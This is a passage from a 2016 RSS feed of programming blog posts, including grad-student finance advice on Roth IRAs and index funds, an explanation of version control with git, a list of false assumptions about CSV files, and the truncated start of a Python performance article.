It may or may not be worthwhile to consider purchasing (&amp;amp; selling) a house, depending on where you live. &amp;nbsp;Consult the NYT's &lt;a href="http://www.nytimes.com/interactive/business/buy-rent-calculator.php"&gt;rent vs buy calculator&lt;/a&gt; if you're coming into the picture with enough money to ponder purchasing. &amp;nbsp;(I've known several grad students in Pittsburgh who've done this, for example. &amp;nbsp;One bought a quite small house and lived there for six years; &amp;nbsp;another bought a condo and had roommates. &amp;nbsp;I didn't know anyone in Boston who did. &amp;nbsp;But use the 'advanced settings' part of the calculator, because for the short time periods involved in grad school, you need to carefully account for closing costs.)&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Health Care - a potential opportunity&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Most universities have a single plan that they offer for grad students, but if yours allows Ph.D. students to enroll in a high-deductible plan with a Health Savings Account (HSA) and you're overall healthy, jump on this. &amp;nbsp;HSAs offer some &lt;a href="http://www.madfientist.com/ultimate-retirement-account/"&gt;interesting opportunities as a savings/retirement account&lt;/a&gt;. &amp;nbsp;But run the numbers, and make sure you have enough cash socked away to cover your deductible if you get hospitalized.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Retirement Savings Options in the US&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;
Wait, wait - &lt;i&gt;retirement&lt;/i&gt;? &amp;nbsp;That's so far off!&lt;br /&gt;
&lt;br /&gt;
Bear with me - we're mostly looking at tax-advantaged ways to save money, and the retirement savings accounts are the way to do that. &amp;nbsp;Once we get to the end of this, you'll see that we'll settle on options that give you a lot of flexibility about when you spend or withdraw that money.&lt;br /&gt;
&lt;br /&gt;
There are a few major paths to saving for retirement in the U.S.&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Social_Security_(United_States)"&gt;Social security&lt;/a&gt;. &amp;nbsp;Work, pay in to the social security system, and when you retire, the government will send you monthly checks. &amp;nbsp;For most of us considering computer science careers, the dollars involved are not sufficient for a well-funded retirement. &amp;nbsp;(And there's always uncertainty about what will happen to SS as the political environment evolves.)&lt;/li&gt;
&lt;li&gt;Pensions, aka "&lt;a href="https://en.wikipedia.org/wiki/Defined_benefit_pension_plan"&gt;defined benefit plans&lt;/a&gt;". &amp;nbsp;Work for N years, your employer promises that they'll pay you some percentage of your salary for the rest of your life. &amp;nbsp;Historically popular, but not as good a match when you have highly-mobile employees in a rapidly changing field. &amp;nbsp;Such as ours.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Defined_contribution_plan#United_States"&gt;Defined contribution plans&lt;/a&gt; - employer. &amp;nbsp;Your employer automatically contributes some chunk of money to a retirement plan on your behalf. &amp;nbsp;These funds are invested in some way -- the stock market, for example.&lt;/li&gt;
&lt;li&gt;Defined contribution plans - employee. &amp;nbsp;You contribute some of your own salary, &lt;i&gt;pre-tax, and &lt;/i&gt;it's invested as in 3 above. &amp;nbsp;Here, pre-tax means that the contributed amount reduces your gross income for tax purposes.&lt;/li&gt;
&lt;li&gt;IRAs of various flavors. &amp;nbsp;Individual retirement accounts, which are entirely self-managed. &amp;nbsp;Can be funded with pre-tax money (e.g., "Traditional IRA"s), or with post-tax money in an advantaged way ("Roth IRAs"). &amp;nbsp;More on this in a second.&lt;/li&gt;
&lt;li&gt;Taxable investments. &amp;nbsp;Conventional investment accounts funded with post-tax money; &amp;nbsp;taxes are due on investment returns. &amp;nbsp;Very flexible, but maximally taxed.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
At most schools, grad students aren't eligible for the pensions or defined contribution plans. &amp;nbsp;Because of the tax bracket issues mentioned above, &lt;b&gt;the most attractive investment option for grad students is the Roth IRA.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
What the heck is a Roth IRA?&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;
It's a &lt;a href="http://www.rothira.com/what-is-a-Roth-IRA"&gt;retirement account funded with &lt;i&gt;post-tax&lt;/i&gt;&amp;nbsp;money&lt;/a&gt; (i.e., funds on which you have already paid taxes). &amp;nbsp;It has some cool properties:&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;Flexibility&lt;/b&gt;: &amp;nbsp;You can withdraw your contributions at any time with no penalty. &amp;nbsp;Let me repeat that again: &amp;nbsp;If you put in $15k into a Roth during grad school, you can pull that $15k out at any time you need the money.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;No taxes during growth&lt;/b&gt;: &amp;nbsp;As the money grows while invested, you don't pay any taxes on the intermediate gains.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;No taxes on retirement withdrawals&lt;/b&gt;: &amp;nbsp;Even on the gains. &amp;nbsp;If you anticipate retiring at a higher tax bracket than you were living on as a grad student (likely!), this becomes a huge win. &amp;nbsp;You paid 10% taxes on your money, invested it, and then pay no more taxes on it, even though you're living a 25% tax bracket lifestyle in retirement.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Some ways to withdraw early if needed&lt;/b&gt;. &amp;nbsp;Buying a house, deaths in the family, etc. &amp;nbsp;Hopefully you can ignore all of this.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Of course, there are limits on good things. &amp;nbsp;You can contribute up to $5,500 per year to a Roth IRA, but if you earn more than $117k/year as a single filer, the limit starts to phase out. &amp;nbsp;You will probably earn more than $117k/year once you graduate, at which point life gets more complicated. &amp;nbsp;(Note that I'm oversimplifying, because this article isn't aimed at people earning over $100k/year. &amp;nbsp;The next one will be.)&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The total amount you'll be able to put into a Roth is relatively small because of this $5500/year limit, but future-you will love you for every cent you get in there, because of the flexibility and tax advantages. &amp;nbsp;If you retire early, a Roth can be a very useful tool in retirement tax reduction. &amp;nbsp;If the poop really hits the oscillating blades, a Roth is a great source of emergency cash.&lt;br /&gt;
&lt;br /&gt;
If you're paid &lt;i&gt;only&lt;/i&gt;&amp;nbsp;by a scholarship or fellowship, &lt;a href="http://evolvingpf.com/2012/03/earned-income/"&gt;check out this article first&lt;/a&gt; - you need to have earned income to make Roth contributions. &amp;nbsp;Most GSes do. &amp;nbsp;If you get a W-2 with earned income in box 1, you're good.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
What do I invest my Roth in?&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;
For most people, get an account at Vanguard, put your Roth there, and invest the funds either in:&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;Laziest approach: &amp;nbsp;Target Retirement 20XX fund. &amp;nbsp;Has slightly higher expense ratio than doing it yourself, but for a far-out target date, has a nice balance of mostly stocks, US-centric with some international exposure, and a bit of bonds to reduce volatility slightly.&lt;/li&gt;
&lt;li&gt;Lazy, lower expense ratio, but less diversified: &amp;nbsp;VTSMX / VTSAX. &amp;nbsp;(Same fund, different minimum investment, different expense ratios). &amp;nbsp;Total stock market index fund. &amp;nbsp;US-centric -- but remember that a lot of major US companies are themselves multinationals, so it's not as horrible as it seems.&lt;/li&gt;
&lt;li&gt;DIY target retirement fund: &amp;nbsp;See the &lt;a href="https://www.bogleheads.org/wiki/Lazy_portfolios"&gt;Bogleheads Lazy Funds list,&lt;/a&gt; and implement on your own.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
When you've got less than about $50k in play, I'd go with the target retirement fund. &amp;nbsp;The expense ratio differences start to become more important once you're above the minimum thresholds for the "admiral shares" classes of Vanguard funds (often $10k for each fund you invest in).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Exceptions to this suggestion:&lt;/b&gt;&amp;nbsp; If you anticipate major expenses that you think will require dipping into your Roth (having a child in grad school?), you might want to invest it in a lower-volatility mix. &amp;nbsp;The vanguard "Target Retirement" fund (VTINX, with no date -- this one's aimed at people already retired) might be a reasonable choice, down to the short-term bond fund VFSUX.&lt;/div&gt;
&lt;br /&gt;
Don't day-trade, don't try to time the market, and don't invest in a tiny basket of individual stocks. &amp;nbsp;Don't pay a stockbroker to tell you what stock is "hot". &amp;nbsp;Don't pay high expense ratios for actively managed funds. &amp;nbsp;Many, many of your professional colleagues (and math and physics Ph.Ds) are out there at various quant and HFT funds making their living by preying on people who think they can do better. &amp;nbsp;You're probably very smart and experienced at programming and many things related to this field, but you're still not likely to win. &amp;nbsp;For the most part, you're at a disadvantage: &amp;nbsp;The professionals are also smart like you, but they have access to experience, resources, and information that you don't. &amp;nbsp;Don't be a sucker. &amp;nbsp;The diversified index funds achieve great results with very low expenses, and mostly beat the pants off of the places your friends work anyway. &amp;nbsp;If you want to play that game, finish up your Ph.D. and then go get a job in that industry where you get to play the game using other people's money, and you get access to real resources.&lt;br /&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
I've still got too much money left - what now?&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;
If it were me, I'd start piling it up in your taxable account(s). &amp;nbsp;It's not unlikely that you'll have some heavier-duty cash flow needs in the first month of your job after you graduate -- I think I floated about $5k of moving expenses, a security deposit, first and last month's rent, and purchased a car all in my first month at CMU. &amp;nbsp;That was surprisingly non-stressful with a modest cash cushion.&lt;br /&gt;
&lt;br /&gt;
Some universities allow contributions to a Roth 403(b), even if you're not eligible for the normal retirement contributions. &amp;nbsp;Check with your HR/benefits office.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
But you should also examine your debt picture. &amp;nbsp;If you have high-interest student loans or other debt, pay 'em off ASAP if they're incurring interest during grad school. &amp;nbsp;If they're subsidized and not incurring interest while you're still in school, you can play the game of stashing your money in an interest-yielding investment (savings or market - up to you), and then paying them off the second you graduate. &amp;nbsp;This is very personality-dependent.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Congratulations and good luck on your grad school experience!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span id="goog_1281012858"&gt;&lt;/span&gt;</description><author>Dave's Data</author><pubDate>Wed, 28 Dec 2016 19:44:55 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/09/finances-for-cs-phd-students.html</guid></item><item><title>Version management strategies</title><link>http://negfeedback.blogspot.com/2016/12/version-management-strategies.html</link><description>&lt;div&gt;
People often maintain that they don't need a special tool like git for version management. I believe that most people are using some kind of version management strategy when working on projects, but that they use ad-hoc strategies which have specific problems. So this is not a pure "This is why you need git" post. Rather it is an exploration of the difficulties of version management and how a tool like Git solves these problems, along with the issues of solving them by ad-hoc means.&lt;/div&gt;
&lt;h2&gt;
Project change axes&lt;/h2&gt;
&lt;h3&gt;
Time&lt;/h3&gt;
Every project changes over time. In some cases, you open a blank document and type or paste things into it. In others, you start with one thing and change it into another. But if you are making something that did not exist before you are going at the very least between the before state and the after state. Some of the state changes are never committed to disk, like the intermediate typing you do between saves. One quickly learns to save frequently so that one doesn't lose to much if something goes wrong. Of course, modern software can also save frequently for us. Let's call a "version" of our project the state of the project at one of these save points.&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It is useful for us to retrieve different versions of a project. For the simplest case where we are just editing our document and pressing save from time to time, the only information we need to refer to different versions is the time. So we can say "Show me what the project looked like yesterday", or perhaps "Show me the work that I did since yesterday". To accommodate such a request, we could get into the habit of saving the project with different names from time to time. For instance, we could have &lt;i&gt;project_2016-12-28.docx&lt;/i&gt; and a &lt;i&gt;project_2016-12-29.docx&lt;/i&gt; and so on. This strategy works relatively well for the time axis on a single-file project. Notice I have used ISO date format which means the versions will sort correctly when sorted by filename.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Another popular strategy is to use something like &lt;i&gt;project_v1.docx&lt;/i&gt;, &lt;i&gt;project_v2.docx&lt;/i&gt; and then use the timestamp of the file to figure out when it is from. This strategy is less robust to capture time information, because it is relatively easy to change the dates of files inadvertently by accidentally saving when no real change has been made, therefore destroying the date information. It is also relatively common to add some kind of note about what changed in this version to the filename. For instance &lt;i&gt;project_2016-12-28_new_abstract.docx. &lt;/i&gt;A very bad way of handling version information is using words like "first draft" or "final". This is because there isn't a good ordering for these in file viewers, so "project_final" will sort before "project_first draft". It is also inevitable that these versions will have versions themselves, leading to &lt;i&gt;project_final_v2_realfinal_handin_v3.docx&lt;/i&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Things get a little harder if a project has multiple files. For instance, there may be an Excel spreadsheet where we are doing calculations in addition to our Word file. It may be that we edit the Word file more frequently than the Excel file. We now have a choice to save copies of the files separately or to place them into a folder and make copies of the folder. All the same naming conventions hold.&lt;/div&gt;
&lt;h3&gt;
Space&lt;/h3&gt;
&lt;div&gt;
Let's say you e-mail a copy of your &lt;i&gt;project_2016-12-28.docx&lt;/i&gt;&amp;nbsp;to a friend for their input. Is this the same version or a different one? In practical terms it doesn't matter that the copy is made unless it is edited. But the fact that a copy has been made allows for independent edits to be made. How will we keep track of this? The way most people handle this issue is to use what computer scientists call "locking". As soon as you send the mail, you stop editing your copy until you receive back the copy from your friend. If they used track changes, you can easily incorporate their changes into your document. This strategy actually avoids dealing with the space issue. Syncing solutions like Dropbox also avoid the space axis by making the shared folder be one "place" which is synced between people instead of allowing different versions to exist at the same time.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Another way is to add location information onto the filename again. You could ask your friend to add their name onto the filename so that you can see the version. When they mail it back to you, you can see &lt;i&gt;project_2016_12_28_friend.docx&lt;/i&gt;&amp;nbsp;is different from yours and take the right action.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Concept&lt;/h3&gt;
&lt;div&gt;
Sometimes you may want to experiment with a slightly different version of a project. This happens quite frequently in programming, where there may be different ways of achieving the same goal. It may be useful to compare one algorithm to another on the same data.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
A very common way for this to be handled is using comments in code. You comment out the one algorithm and comment in another and re-run the program. Of course, you can also make a copy of the file, but often in programming the filename is significant and cannot carry as much information as we use in office documents or folders.&lt;/div&gt;
&lt;h3&gt;
Summary&lt;/h3&gt;
&lt;div&gt;
To summarise the above axes, we saw that projects change over time, in different places, by different people and for different reasons. Most people have some way of noting these changes in the file names of their projects.&lt;/div&gt;
&lt;h2&gt;
The git way&lt;/h2&gt;
&lt;div&gt;
Version control tools exist because encoding the information along these three axes in the file names or in comments in code is messy and difficult to use for all but the simplest projects. Here is how git solves the problem. I am going to be using git commands in the commandline to illustrate the process. Install git using &lt;a href="https://git-scm.com/book/en/v2/Getting-Started-Installing-Git"&gt;these instructions&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The first big idea is that the current version (called the "working copy" in git) and other versions will be stored in different places. Git creates a .git folder for all the versions of the project. This folder contains several pieces of information about the project, but it is sufficient to imagine that git can "archive" the files in the project and copy this archive into the .git folder for each version. Git calls the whole bag of archive the "repository" and the specific archive a "commit". Along with the actual file, git also stores the information we discussed before. It stores the time when the commit was made, who made the commit and a message (called the commit message) which explains what changed.&lt;/div&gt;
&lt;h3&gt;
Simple time axis workflow&lt;/h3&gt;
&lt;div&gt;
Let's make a simple project and show how git allows us to track the same things we would have with a filename scheme including dates:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The command &lt;i&gt;git init&lt;/i&gt;&amp;nbsp;will create a folder called &lt;i&gt;.git&lt;/i&gt;. This contains all the commits and additional metadata.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4tQTstnYV5ZEM30w-EehYYgj-jkwm4sNLisw0nRk5PcAuL6rfZId8KWyNPI4kXe6Q0U48UDIAyGYq4Iol7qXju8zNQN6EAViy6sCwBihYIT9vHElHVRGx32YKwinsa2gemY8naeoY8sI/s1600/git_init.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4tQTstnYV5ZEM30w-EehYYgj-jkwm4sNLisw0nRk5PcAuL6rfZId8KWyNPI4kXe6Q0U48UDIAyGYq4Iol7qXju8zNQN6EAViy6sCwBihYIT9vHElHVRGx32YKwinsa2gemY8naeoY8sI/s640/git_init.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Now, we create a file called &lt;i&gt;project.txt&lt;/i&gt;&amp;nbsp;and write some lines in it. To get it into the repository, we first &lt;i&gt;git add&lt;/i&gt;&amp;nbsp;then &lt;i&gt;git commit&lt;/i&gt;. Once this is done, we can check the history with &lt;i&gt;git log&lt;/i&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYthRyL6PNy6Q9yzemWO1X26RPIbAlH_39v8Mj9XeerIoUdl1T8HV3XckAZ5xD_0ui9YaLVHvVjj8ewzdmh3H87tUQ9qMPkaa256gh2qBnQ5AC7K16xST-PLLAryKWzkDWKgSVd2jgo8g/s1600/firstcommit.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="564" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYthRyL6PNy6Q9yzemWO1X26RPIbAlH_39v8Mj9XeerIoUdl1T8HV3XckAZ5xD_0ui9YaLVHvVjj8ewzdmh3H87tUQ9qMPkaa256gh2qBnQ5AC7K16xST-PLLAryKWzkDWKgSVd2jgo8g/s640/firstcommit.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Note that the log shows who made the commit, a note about the commit and the exact time it was made. If we continue to add new commits in a linear fashion we have completely replaced the filename method. Also note that the commit itself has a name which is a long string of hex digits (49487eea429e8f870234e239e44a6e1d4ab49e54 in the screenshot). This is a &lt;i&gt;hash&lt;/i&gt;, or a number made up by boiling down the contents of all the files in the commit. This means each commit with different files should have a unique name.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Another interesting aspect of a git commit is that it knows which commit came before it. So in the picture below showing multiple commits, each one points to the one before.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://git-scm.com/book/en/v2/book/03-git-branching/images/commits-and-parents.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="https://git-scm.com/book/en/v2/book/03-git-branching/images/commits-and-parents.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Space&lt;/h3&gt;
&lt;div&gt;
To handle the space dimension, git supplies the &lt;i&gt;clone&lt;/i&gt;&amp;nbsp;command which allows us to create a copy of a repository. This is different from simply copying the folder, because the &lt;i&gt;clone&lt;/i&gt;&amp;nbsp;command will allow us to track the different repositories. This can be done on a local system, for instance to make a copy of the repository on a removable drive. It can also be done over a network, and is the mechanism behind being able to have a version of the repository on a web server like &lt;a href="https://github.com/"&gt;GitHub&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Concept&lt;/h3&gt;
&lt;div&gt;
Lastly, when we want to have different concepts and compare them to one another, we can create branches with &lt;i&gt;git branch&lt;/i&gt;. It is easier to think of branches as groups for commits. This allows us to continue development in one group while easily going back to another. This is something which has no equivalent in the filename system&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://git-scm.com/book/en/v2/book/03-git-branching/images/lr-branches-2.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="232" src="https://git-scm.com/book/en/v2/book/03-git-branching/images/lr-branches-2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Final word and further reading&lt;/h2&gt;
Now, this is not supposed to be a git tutorial. It was meant to show the things we need version control for and what git supplies to fix them. If I have succeeded in whetting your appetite, I highly recommend that you download git and read the &lt;a href="https://git-scm.com/book/en/v2"&gt;git book&lt;/a&gt;&amp;nbsp;(at least the first couple of chapters).</description><author>Negative Feedback</author><pubDate>Wed, 28 Dec 2016 17:06:19 GMT</pubDate><guid isPermaLink="true">http://negfeedback.blogspot.com/2016/12/version-management-strategies.html</guid></item><item><title>Falsehoods Programmers Believe About CSVs</title><link>https://donatstudios.com/Falsehoods-Programmers-Believe-About-CSVs</link><description>&lt;p&gt;Much of my professional work for the last 10+ years has revolved around handling, importing and exporting CSV files. CSV files are frustratingly misunderstood, abused, and most of all underspecified. While &lt;a href="https://tools.ietf.org/html/rfc4180" title="RFC4180 Common Format and MIME Type for Comma-Separated Values (CSV) Files"&gt;RFC4180&lt;/a&gt; exists, it is far from definitive and goes largely ignored.&lt;/p&gt;
&lt;p&gt;Partially as a companion piece to my recent post about how CSV is an &lt;a href="https://donatstudios.com/CSV-An-Encoding-Nightmare"&gt;encoding nightmare&lt;/a&gt;, and partially an expression of frustration, I've decided to make a list of falsehoods programmers believe about CSVs. I recommend my previous post for a more in-depth coverage on the pains of CSVs encodings and how the default tooling (Excel) will ruin your day.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Everything on this list is a false assumption&lt;/strong&gt; that developers make.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;All CSVs are ASCII&lt;/li&gt;
&lt;li&gt;All CSVs are Win1252&lt;/li&gt;
&lt;li&gt;All CSVs are in 8-bit encodings&lt;/li&gt;
&lt;li&gt;All CSVs are UTF-8&lt;/li&gt;
&lt;li&gt;All CSVs are UTF-16&lt;/li&gt;
&lt;li&gt;All CSVs contains a single consistent encoding&lt;/li&gt;
&lt;li&gt;All records contain a single consistent encoding&lt;/li&gt;
&lt;li&gt;All fields contain a single consistent encoding&lt;/li&gt;
&lt;li&gt;All CSVs contain records&lt;/li&gt;
&lt;li&gt;All records contain fields &lt;/li&gt;
&lt;li&gt;Fields never contain record separators &lt;/li&gt;
&lt;li&gt;Fields never contain delimiters &lt;/li&gt;
&lt;li&gt;Fields never contain control characters&lt;/li&gt;
&lt;li&gt;Delimiters are escaped with a &lt;code&gt;\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;All fields are enclosed by double quotes&lt;/li&gt;
&lt;li&gt;All records are a single line&lt;/li&gt;
&lt;li&gt;All lines contain a single record&lt;/li&gt;
&lt;li&gt;All records contain the same number of fields&lt;/li&gt;
&lt;li&gt;All records contain the same number of fields as the header&lt;/li&gt;
&lt;li&gt;All records contain the same number of fields or fewer than the header&lt;/li&gt;
&lt;li&gt;All CSVs contain a header&lt;/li&gt;
&lt;li&gt;All record separators are CRLF&lt;/li&gt;
&lt;li&gt;All record separators are LF&lt;/li&gt;
&lt;li&gt;All record separators are a single byte&lt;/li&gt;
&lt;li&gt;All record separators are a single rune&lt;/li&gt;
&lt;li&gt;All newlines are a single byte&lt;/li&gt;
&lt;li&gt;All CSVs are delimited with a comma&lt;/li&gt;
&lt;li&gt;All CSVs are delimited with a comma, tab or semicolon&lt;/li&gt;
&lt;li&gt;TSV isn't CSV&lt;/li&gt;
&lt;li&gt;All delimiters are a single byte&lt;/li&gt;
&lt;li&gt;All commas are a single byte&lt;/li&gt;
&lt;li&gt;All CSVs are readable with Excel&lt;/li&gt;
&lt;li&gt;Excel is a good tool for working with CSVs&lt;/li&gt;
&lt;li&gt;Excel is an OK tool for working with CSVs&lt;/li&gt;
&lt;li&gt;Excel can losslessly save CSVs it opens&lt;/li&gt;
&lt;li&gt;Using &lt;code&gt;="{value}"&lt;/code&gt; is a &lt;em&gt;good&lt;/em&gt; way to get around Excel auto-formatting&lt;/li&gt;
&lt;li&gt;The first line will never be a poorly supported instruction header&lt;/li&gt;
&lt;li&gt;Using &lt;code&gt;sep={char}&lt;/code&gt; is a &lt;em&gt;good&lt;/em&gt; way to get Excel to accept your delimiter&lt;/li&gt;
&lt;li&gt;Prepending a BOM is a good way to get Excel to read your encoding&lt;/li&gt;
&lt;li&gt;You can safely name your first column &amp;quot;ID&amp;quot;&lt;/li&gt;
&lt;li&gt;All CSVs follow &lt;a href="https://tools.ietf.org/html/rfc4180" title="RFC4180 Common Format and MIME Type for Comma-Separated Values (CSV) Files"&gt;RFC4180&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Most CSVs follow &lt;a href="https://tools.ietf.org/html/rfc4180" title="RFC4180 Common Format and MIME Type for Comma-Separated Values (CSV) Files"&gt;RFC4180&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;All CSVs follow the same defined standard&lt;/li&gt;
&lt;li&gt;All CSVs follow a defined standard&lt;/li&gt;
&lt;li&gt;All CSVs have a &lt;code&gt;.csv&lt;/code&gt; extension&lt;/li&gt;
&lt;li&gt;All CSV is human readable&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Please take these into consideration next time you find yourself working with CSV. If you can think of anything I may have missed I'd be happy to add it.&lt;/p&gt;
&lt;p&gt;As a suggested further reading, &amp;quot;The Art of Unix Programming&amp;quot; &lt;a href="https://www.catb.org/esr/writings/taoup/html/ch05s02.html#id2901882"&gt;http://www.catb.org/esr/writings/taoup/html/ch05s02.html#id2901882&lt;/a&gt; section on DSV style which notably says &amp;quot;CSV is a textbook example of how not to design a textual file format&amp;quot;&lt;/p&gt;
&lt;h4&gt;Updates:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Thanks to &lt;a href="https://donatstudios.com/Falsehoods-Programmers-Believe-About-CSVs#Comment216545"&gt;Max&lt;/a&gt; for pointing out the Excel supported &lt;code&gt;sep={value}&lt;/code&gt; header I was strangely entirely unaware of.&lt;/li&gt;
&lt;li&gt;Thanks to &lt;a href="https://donatstudios.com/Falsehoods-Programmers-Believe-About-CSVs#Comment216547"&gt;Don Hopkins&lt;/a&gt; for the note about not being able to start a header with ID&lt;/li&gt;
&lt;/ul&gt;</description><author>Donat Studios</author><pubDate>Wed, 28 Dec 2016 03:41:04 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/Falsehoods-Programmers-Believe-About-CSVs</guid></item><item><title>Counting sheep</title><link>https://muffinman.io/blog/counting-sheep/</link><description>&lt;article class="article"&gt;&lt;p&gt;Just something to cheer you up for the holidays :)
I got this idea while I was sick in bed, and had nothing smarter to do.
Pure CSS, no JavaScript at all. Hope you like it, I may add some more details.&lt;/p&gt;

&lt;p&gt;Check the code on &lt;a href="http://codepen.io/stanko/pen/BQgZda/"&gt;codepen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Happy new year!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 28 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/counting-sheep/</guid></item><item><title>A Holistic Approach to Microservices</title><link>https://thomashunter.name/posts/2016-12-27-a-holistic-approach-to-microservices</link><author>Thomas Hunter II</author><pubDate>Tue, 27 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2016-12-27-a-holistic-approach-to-microservices</guid></item><item><title>Collecting data from a wizard form</title><link>https://goshacmd.com/wizard-form-collect-info/</link><author>Gosha Spark</author><pubDate>Tue, 27 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/wizard-form-collect-info/</guid></item><item><title>Everything You Need to Know About Regular Expressions In JavaScript - Part Two: Grouping And The RegEx API</title><link>https://lucasfcosta.com/blog/Regular-Expressions-in-JavaScript--Part-Two/</link><description>Hello everyone! This is my second blog post about regular expressions in JavaScript, if you didn't read the first one, make sure you do because we're gonna need that knowledge for this post. If yo...</description><author>Lucas F. Costa - Blog</author><pubDate>Sun, 25 Dec 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/Regular-Expressions-in-JavaScript--Part-Two/</guid></item><item><title>Making Python run faster: a case study</title><link>https://faingezicht.com/articles/2016/12/25/means/</link><description>As a langauge, Python was originally designed for faster development cycles, and not for execution speed. This principle remains very much alive today, and although it has garnered the language a bad reputation for its sluggishness, there are a few very common antipatterns that you can avoid to make your Python run faster. In this post, I will demonstrate some of these ideas by exploring solutions to a very simple algorithm: calculating the average (or, to be more precise, the &lt;a href="https://en.wikipedia.org/wiki/Arithmetic_mean"&gt;arithmetic mean&lt;/a&gt;) out of a list of integers.

For our experiment, we'll time our functions on three lists of different lenghts, as the size of the list will affect our solution's runtime. We can start by generating some test data:

```python
import random
random.seed(1)

